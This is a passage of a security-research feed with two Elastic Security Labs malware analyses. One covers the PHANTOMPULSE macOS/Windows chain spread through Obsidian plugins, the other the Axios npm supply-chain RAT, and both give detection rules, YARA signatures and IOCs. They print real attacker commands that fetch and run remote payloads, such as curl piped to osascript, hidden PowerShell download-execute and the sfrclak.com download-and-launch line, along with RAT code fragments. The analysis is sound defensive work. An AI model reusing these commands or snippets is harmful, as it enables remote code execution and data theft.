<p><strong>LaunchAgent persistence</strong>: Creates a persistent LaunchAgent plist at <code>~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist</code> configured with <code>KeepAlive</code> and <code>RunAtLoad</code> set to <code>true</code>, ensuring the second-stage payload executes on every login and restarts if terminated.</p>
<p><strong>Second-stage execution</strong>: The LaunchAgent executes a heavily obfuscated AppleScript dropper through <code>/bin/bash -c</code> piped into <code>osascript</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3aca58bddfd3ca82/6a7c91167cfd7a71aa314fbb/image12.png" alt="MacOS stage 1 payload decoded" title="MacOS stage 1 payload decoded" /></p>
<h4 id="stage2obfuscatedapplescriptdropper">Stage 2: Obfuscated AppleScript dropper</h4>
<p>The second-stage payload is an obfuscated AppleScript dropper that employs multiple evasion techniques.</p>
<p><strong>String obfuscation</strong>: All sensitive strings (domains, URLs, user-agent values) are constructed at runtime using <code>ASCII character</code>, <code>character id</code>, and <code>string id</code> calls, preventing static string extraction:</p>
<pre><code>property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"
</code></pre>
<p><strong>Decoy variables</strong>: Numerous unused variables with random names and values are defined to increase entropy and hinder analysis.</p>
<p><strong>Fragmented concatenation</strong>: Strings are split across mixed encoding methods, combining literal fragments with character-ID lookups to defeat pattern matching.</p>
<h4 id="c2resolutionwithtelegramfallback">C2 resolution with Telegram fallback</h4>
<p>The dropper implements a layered C2 resolution strategy:</p>
<ol>
<li><strong>Primary</strong>: Iterates over a hardcoded domain list (including <code>0x666[.]info</code>), sending a POST request with body <code>"check"</code> to validate C2 availability  </li>
<li><strong>Fallback</strong>: If the primary domain is unreachable, scrapes a public Telegram channel (<code>t[.]me/ax03bot</code>) to extract a backup domain<br />
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb6b87eb087967dd2/6a7c91184c4bfb416dcc7b59/image8.png" alt="Backup Domain" title="Backup Domain" /></li>
</ol>
<p>This Telegram dead-drop technique allows operators to rotate C2 infrastructure, making domain-based blocking insufficient as a sole mitigation.</p>
<h4 id="payloadretrieval">Payload retrieval</h4>
<p>Once a C2 is resolved, the script downloads and pipes a second-stage payload directly into <code>osascript</code>:</p>
<pre><code>curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST &lt;C2_URL&gt; \
  -H "User-Agent: &lt;spoofed Chrome UA&gt;"-d "txid=346272f0582541ae5dd08429bb4dc4ff&amp;bmodule"| osascript
</code></pre>
<p>The victim identifier (<code>txid</code>) and module selector (<code>bmodule</code>) are sent as POST parameters. The response is expected to be another AppleScript payload executed immediately. At the time of analysis, the C2 servers for the macOS chain were offline, preventing the collection of subsequent stages.</p>
<h3 id="infrastructureanalysis">Infrastructure analysis</h3>
<h4 id="walletactivity">Wallet activity</h4>
<p>Examining the on-chain activity for the hardcoded wallet (<code>0xc117688c530b660e15085bF3A2B664117d8672aA</code>) reveals the operator's C2 rotation history. The two most recent transactions are self-transfers (wallet to itself), each encoding a different C2 URL in the transaction input data:</p>
<p>| Date (UTC) | Decoded C2 URL |
| ----- | ----- |
| <code>Feb 19, 2026 12:29:47</code> | <code>https://panel.fefea22134[.]net</code> |
| <code>Feb 12, 2026 22:01:59</code> | <code>https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code> |</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb858bbcd892e4b8b/6a7c911b33fa8a09671fcc2e/image17.png" alt="Transaction history" title="Transaction history" /></p>
<p>The use of a Cloudflare Tunnel domain (<code>trycloudflare[.]com</code>) as a prior C2 endpoint is notable, as it allows the operator to expose a local server through Cloudflare's infrastructure without registering a domain, providing an additional layer of anonymity.</p>
<p>The wallet was initially funded on Feb 12, 2026, at 21:39:47 UTC by a separate account (<code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code>) with a transfer of $5.84 and an empty input field (<code>0x</code>), confirming this was purely a funding transaction. The funding wallet itself has conducted approximately 50 transactions over the past three months, which provides a potential pivot point for uncovering additional campaigns operated by the same threat actor.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2738b47e16caad8d/6a7c911e96b5a6a0a987584e/image39.png" alt="Funding wallet transactions" title="Funding wallet transactions" /></p>
<h4 id="payloadstagingserver">Payload staging server</h4>
<p>The initial payload delivery server at <code>195.3.222[.]251</code> is hosted on <strong>AS 201814 (MEVSPACE sp. z o.o.)</strong>, a Polish hosting provider.</p>
<h4 id="phantompulsec2panel">PhantomPulse C2 panel</h4>
<p>The domain <code>fefea22134[.]net</code> resolves to Cloudflare IPs (<code>104.21.79[.]142</code> and <code>172.67.146[.]15</code>), indicating the C2 panel sits behind Cloudflare's proxy. Historical passive DNS shows the domain was first resolved on 2026-03-12, with earlier resolutions pointing to different IPs (<code>188.114.97[.]1</code> and <code>188.114.96[.]1</code>) on 2026-03-20.</p>
<p>The domain uses a Let's Encrypt certificate first observed on 2026-03-12:</p>
<ul>
<li><strong>Serial</strong>: <code>5130b76e63cd41f11e6b7c2a77f203f72b4</code>  </li>
<li><strong>Thumbprint</strong>: <code>6c0a1da746438d68f6c4ffbf9a10e873f3cf0499</code>  </li>
<li><strong>Validity</strong>: <code>2026-02-19 to 2026-05-20</code></li>
</ul>
<p>The certificate issuance date (Feb 19) aligns with the most recent blockchain C2 rotation transaction encoding <code>panel.fefea22134[.]net</code>, suggesting the infrastructure was provisioned the same day the C2 URL was published on-chain.</p>
<h2 id="conclusion">Conclusion</h2>
<p>REF6598 demonstrates how threat actors continue to find creative initial access vectors by abusing trusted applications and employing targeted social engineering. By abusing Obsidian's community plugin ecosystem rather than exploiting a software vulnerability, the attackers bypass traditional security controls entirely, relying on the application's intended functionality to execute arbitrary code.</p>
<p>In the observed intrusion, <a href="https://www.elastic.co/security/endpoint-security">Elastic Defend</a> detected and blocked the attack chain at the early stage before PHANTOMPULSE could execute, preventing the threat actor from achieving their objectives. The behavioral protections triggered on the anomalous process execution originating from Obsidian, stopping the payload delivery in its tracks.</p>
<p>Organizations in the financial and cryptocurrency sectors should be aware that legitimate productivity tools can be turned into attack vectors. Defenders should monitor for anomalous child process creation from applications like Obsidian and enforce application-level plugin policies where possible. The indicators and detection logic provided in this research can be used to identify and respond to this activity.</p>
<p>Elastic Security Labs will continue to monitor REF6598 for further developments, including additional macOS payloads once the associated C2 infrastructure becomes active.</p>
<h4 id="mitreattck">MITRE ATT&amp;CK</h4>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h5 id="tactics">Tactics</h5>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h5 id="techniques">Techniques</h5>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1547/011/">Boot or Logon Autostart Execution: Plist Modification</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass UAC</a></li>
</ul>
<h3 id="detectingref6598">Detecting REF6598</h3>
<h4 id="detection">Detection</h4>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ff73f1344671a50945c40c45af0ae0b6fc2ed840/rules/windows/execution_windows_powershell_susp_args.toml#L27">Suspicious Windows Powershell Arguments</a></li>
</ul>
<h4 id="prevention">Prevention</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/windows/execution_suspicious_powershell_execution.toml#L8">Suspicious PowerShell Execution</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/macos/defense_evasion_base64_encoded_string_execution_via_osascript.toml">Base64 Encoded String Execution via Osascript</a></li>
</ul>
<h4 id="huntingqueriesinelastic">Hunting queries in Elastic</h4>
<p>These hunting queries are used to identify the presence of the Obsidian community shell command plugin as well as the resulting command execution : </p>
<h5 id="kql">KQL</h5>
<pre><code>event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*
</code></pre>
<pre><code>event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)
</code></pre>
<h5 id="yara">YARA</h5>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the <strong>PHANTOMPULL</strong> and <strong>PHANTOMPULSE</strong></p>
<pre><code>rule Windows_Trojan_PhantomPull {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPull"
        threat_name = "Windows.Trojan.PhantomPull"
        reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = "/v1/updates/check?build=payloads" ascii fullword
    condition:
        3 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_PhantomPulse {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPulse"
        threat_name = "Windows.Trojan.PhantomPulse"
        reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"

    strings:
        $a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
        $b = "PhantomInject: host PID=%lu" fullword
        $c = "inject: shellcode detected -&gt; InjectShellcodePhantom" fullword
        $d = "inject: shellcode detected, using phantom section hijack" fullword
    condition:
        all of them
}
</code></pre>
<h3 id="observations">Observations</h3>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| ----- | ----- | ----- | ----- |
| <code>70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980</code> | SHA-256 | <code>syncobs.exe</code> | PHANTOMPULL loader |
| <code>33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f</code> | SHA-256 |  | PhantomPulse RAT (final payload) |
| <code>195.3.222[.]251</code> | ipv4-addr |  | Staging server (PowerShell script &amp; loader delivery) |
| <code>panel.fefea22134[.]net</code> | domain-name |  | PhantomPulse C2 panel |
| <code>0x666[.]info</code> | domain-name |  | macOS dropper C2 domain |
| <code>t[.]me/ax03bot</code> | url |  | macOS dropper Telegram fallback C2 |
| <code>0xc117688c530b660e15085bF3A2B664117d8672aA</code> | crypto-wallet |  | Ethereum wallet for blockchain C2 resolution |
| <code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code> | crypto-wallet |  | Funding wallet for C2 resolution wallet |
| <code>thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code> | domain-name |  | Prior PhantomPulse C2 (Cloudflare Tunnel) |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/phantom-in-the-vault</link>
    <guid isPermaLink="false">phantom-in-the-vault</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam,Samir Bousseaden,Daniel Stepanic]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt068042e784e7d9d1/6a7c912096b5a64991875854/phantom-in-the-vault.webp" length="0" type="image/webp"/>
    <pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Elastic releases detections for the Axios supply chain compromise]]></title>
    <description><![CDATA[Hunting and detection rules for the Elastic-discovered Axios supply chain compromise.]]></description>
    <content:encoded><![CDATA[<blockquote>
  <p>Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have <a href="https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all">released a detailed analysis</a> on the Axios compromise RAT and payloads.</p>
  <p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
</blockquote>
<h2 id="introduction">Introduction</h2>
<p>We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.</p>
<p>Elastic observed consistent execution patterns across impacted systems immediately after <code>npm install</code> of the malicious Axios versions (<code>1.14.1</code>, <code>0.30.4</code>). The added dependency (<code>plain-crypto-js@4.2.1</code>) executed during <code>postinstall</code> and was quickly followed by a second-stage payload.</p>
<p>Across Linux, Windows, and macOS, the activity followed the same structure:</p>
<pre><code>node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2
</code></pre>
<p>This results in a small but high-signal window where:</p>
<ul>
<li><code>node</code> spawns a shell or interpreter  </li>
<li>a remote payload is fetched  </li>
<li>execution is detached from the original process</li>
</ul>
<p>Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.</p>
<h2 id="howelasticdetectsthesupplychainattack">How Elastic Detects the Supply Chain Attack</h2>
<p>This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.</p>
<h3 id="linux">Linux</h3>
<p>The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:</p>
<pre><code>node → /bin/sh -c curl -o /tmp/ld.py ... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;
</code></pre>
<p>Which shows up as follows:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte81ae5d7c456abdd/6a7d7de496b5a6a603878597/image6.png" alt="Elastic alerts triggering on backdoor execution" title="Elastic alerts triggering on backdoor execution" /></p>
<p>The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a> detection rule.</p>
<pre><code>event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and 
(
  (
    process.name:(
      "bash" or "dash" or "sh" or "tcsh" or "csh" or  "zsh" or "ksh" or
      "fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)
</code></pre>
<p>This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the <code>curl</code> invocation that retrieves <code>/tmp/ld.py</code> from the remote server.</p>
<p>Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a>.</p>
<pre><code>event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&amp;)
</code></pre>
<p>Which captures the second half of the chain:</p>
<pre><code>sh -c "... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;"
</code></pre>
<p>The payload is launched with <code>nohup</code> and backgrounded immediately using <code>&amp;</code>, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.</p>
<p>After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint <code>work()</code> sends an initial <code>FirstInfo</code> message and then transitions into <code>main_work()</code>, which continuously reports host data and processes tasking:</p>
<pre><code>while True:
    ps = print_process_list()

    data = {
        "hostname": get_host_name(),
        "username": get_user_name(),
        "os": os,
        "processList": ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)
</code></pre>
<p>On first check-in, it performs a targeted directory enumeration via <code>init_dir_info()</code> across user paths such as <code>$HOME</code>, <code>.config</code>, <code>Documents</code>, and <code>Desktop</code>, and builds a process listing directly from <code>/proc</code>, including usernames and start times.</p>
<p>Tasking is minimal but flexible. <code>runscript</code> supports arbitrary shell execution or base64-delivered Python via <code>python3 -c</code>, while <code>peinject</code> simply writes attacker-supplied bytes to a hidden file in <code>/tmp</code> and executes it:</p>
<pre><code>file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode("utf-8")))
</code></pre>
<p>This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.</p>
<p>Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a></li>
</ul>
<h3 id="windows">Windows</h3>
<p>The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (<code>C:\ProgramData\wt.exe</code>). The following alert shows the process chain:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteffedc4848f590ca/6a7d7de7ea068d1c74f071b0/image5.png" alt="Elastic - Alert Process Tree" title="Elastic - Alert Process Tree" />  </p>
<p>Where:</p>
<ul>
<li><code>wt.exe</code> is a renamed copy of <code>PowerShell.exe</code> located in <code>C:\ProgramData\wt.exe</code>  </li>
<li><code>curl</code> is used to retrieve a remote PowerShell script  </li>
<li>execution is performed via the renamed binary</li>
</ul>
<p>We first observe the creation and use of the renamed interpreter. This is captured by <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a>, which flags signed system binaries executed from unexpected locations.</p>
<p>Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a>, capturing the network retrieval stage driven from the scripted execution chain.</p>
<p>The second stage is a PowerShell-based RAT that beacons to its C2 (<code>http[:]//sfrclak[.]com:8000/</code>) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.</p>
<p>It establishes persistence via <code>Run\MicrosoftUpdate</code> registry key to execute a hidden bat script <code>C:\ProgramData\system.bat:</code> </p>
<p>The batch file dynamically retrieves and executes the payload in memory on login:</p>
<pre><code>start /min powershell -w h -c "
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''"
</code></pre>
<p>Its core capabilities include: </p>
<ul>
<li><strong>peinject</strong> - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.  </li>
<li><strong>runscript</strong> - arbitrary PowerShell script execution via encoded commands or temp files,  </li>
<li><strong>rundir</strong> - filesystem enumeration of user directories and all drive roots.</li>
</ul>
<p>On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.</p>
<p>The second stage triggers both the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a> alerts:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63dbe087a71bc4d6/6a7d7deae02fac7b795d34ac/image2.png" alt="" /></p>
<p>The <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a> rule alert captures the PowerShell RAT script content :</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt43223a27073781a1/6a7d7dedead8ec1125ba7aa5/image1.png" alt="" /></p>
<p>Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a></li>
</ul>
<h3 id="macos">macOS</h3>
<p>Analysis shows the loader writes AppleScript to a temp file, runs it via <code>osascript</code>, then downloads the second stage to a fake Apple-looking cache path and launches it through <code>/bin/zsh</code>. The key launcher looks like this: </p>
<pre><code>do shell script "curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 &amp;&amp; chmod 770 /Library/Caches/com.apple.act.mond \
 &amp;&amp; /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &amp;\" \ &amp;&gt; /dev/null"
</code></pre>
<p>The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d771e03ff5c998b/6a7d7df08fc2d09e223eb807/image3.png" alt="Elastic Defend behavior alert triggering on the macOS backdoor" title="Elastic Defend behavior alert triggering on the macOS backdoor" /></p>
<p>The payload path itself triggers the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a> endpoint rules, as it mimics Apple naming conventions (<code>com.apple.*</code>) but does not match expected signing characteristics.</p>
<p><code>com.apple.act.mond</code> is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via <code>libcurl</code> and a JSON command protocol. </p>
<p>On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (<code>ps -eo user,pid,command</code>), which surfaces via the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a> endpoint rule, capturing unexpected child process activity originating from the backdoor:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3f5c06aa8d7e1f29/6a7d7df377b03450133fc5c4/image4.png" alt="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" title="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" />  </p>
<p>The macOS backdoor facilitates:</p>
<ul>
<li>C2 connection by passing a URL directly as an argument.  </li>
<li>AppleScript execution using <code>osascript</code> via temporary hidden <code>.scpt</code> files dropped to <code>/tmp/</code>  </li>
<li>Filesystem enumeration targeting <code>/Applications</code> and <code>~/Library/Application Support</code>   </li>
<li>Downloading and executing remote base64-encoded payloads.  </li>
<li>Ad-hoc code signing of dropped payloads (<code>codesign --force --deep --sign - “/private/tmp/.*”</code>)  so it can run past Gatekeeper.  </li>
</ul>
<p>The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (<code>Jain_DEV/client_mac/macWebT</code>) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).</p>
<p>These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a></li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.</p>
<p>Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.</p>
<p>From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.</p>
<p>Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.</p>
<h2 id="indicatorsofcompromiseiocs">Indicators of Compromise (IOCs)</h2>
